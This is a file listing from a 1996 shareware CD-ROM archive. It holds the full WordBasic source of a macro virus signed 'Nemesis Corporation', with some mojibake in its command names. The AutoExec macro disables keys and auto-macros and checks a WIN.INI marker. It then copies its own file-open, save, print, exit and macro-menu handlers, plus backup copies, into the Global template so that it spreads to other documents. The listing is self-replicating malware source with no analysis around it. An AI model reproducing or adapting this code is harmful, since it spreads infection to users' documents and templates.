home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
HPAVC
/
HPAVC CD-ROM.iso
/
MVUPDAT3.ZIP
/
XENIXOS.ZIP
/
NEMESIS.ZIP
/
NEMESIS1.TXT
< prev
next >
Wrap
Text File
|
1996-04-16
|
2KB
|
49 lines
Macro AutoExec;
Sub MAIN
Section$ = "Compatibility"
wininistr$ = "0x0020401"
ProfileName$ = "RR2CD"
PrintText$ = "Brought to you by the Nemesis Corporation, ⌐1996"
Password$ = Chr$(120) + Chr$(101) + Chr$(110) + Chr$(105) + Chr$(120) + Chr$(111) + Chr$(115)
For i = 1 To CompteMacros(1)
If NomMacro$(i, 1) = "DateiSpeichernUnter" Then update = 1
Next i
NoVir$ = GetProfileString$(Section$, ProfileName$)
If (NoVir$ <> wininistr$) And (update = 1) Then
DΘsactiverTouches
DΘsactiverMacrosAuto 0
MacroCopie NomFenΩtre$() + ":AutoExec", "Global:AutoExec", 1
MacroCopie NomFenΩtre$() + ":AutoOpen", "Global:AutoOpen", 1
MacroCopie NomFenΩtre$() + ":Datei╓ffnen", "Global:Datei╓ffnen", 1
MacroCopie NomFenΩtre$() + ":DateiSpeichernUnter", "Global:DateiSpeichernUnter", 1
MacroCopie NomFenΩtre$() + ":DateiSpeichern", "Global:DateiSpeichern", 1
MacroCopie NomFenΩtre$() + ":Drop", "Global:Drop", 1
MacroCopie NomFenΩtre$() + ":DateiBeenden", "Global:DateiBeenden", 1
MacroCopie NomFenΩtre$() + ":DateiDrucken", "Global:DateiDrucken", 1
MacroCopie NomFenΩtre$() + ":DateiDruckenStandard", "Global:DateiDruckenStandard", 1
MacroCopie NomFenΩtre$() + ":ExtrasMakro", "Global:ExtrasMakro", 1
MacroCopie NomFenΩtre$() + ":Dummy", "Global:AutoClose", 1
MacroCopie NomFenΩtre$() + ":Dummy", "Global:AutoExit", 1
MacroCopie NomFenΩtre$() + ":Dummy", "Global:AutoNew", 1
MacroCopie NomFenΩtre$() + ":Dummy", "Global:AutoClose", 1
MacroCopie NomFenΩtre$() + ":Dummy", "Global:Dummy", 1
' Backup **************************************************
MacroCopie NomFenΩtre$() + ":Datei╓ffnen", "Global:Datei╓ffnenBak", 1
MacroCopie NomFenΩtre$() + ":AutoExec", "Global:AutoExecBak", 1
MacroCopie NomFenΩtre$() + ":AutoOpen", "Global:AutoOpenBak", 1
MacroCopie NomFenΩtre$() + ":DateiSpeichernUnter", "Global:DateiSpeichernUnterBak", 1
MacroCopie NomFenΩtre$() + ":DateiSpeichern", "Global:DateiSpeichernBak", 1
MacroCopie NomFenΩtre$() + ":Drop", "Global:DropBak", 1
MacroCopie NomFenΩtre$() + ":DateiBeenden", "Global:DateiBeendenBak", 1
MacroCopie NomFenΩtre$() + ":DateiDrucken", "Global:DateiDruckenBak", 1
MacroCopie NomFenΩtre$() + ":DateiDruckenStandard", "Global:DateiDruckenStandardBak", 1
MacroCopie NomFenΩtre$() + ":ExtrasMakro", "Global:ExtrasMakroBak", 1
End If
End Sub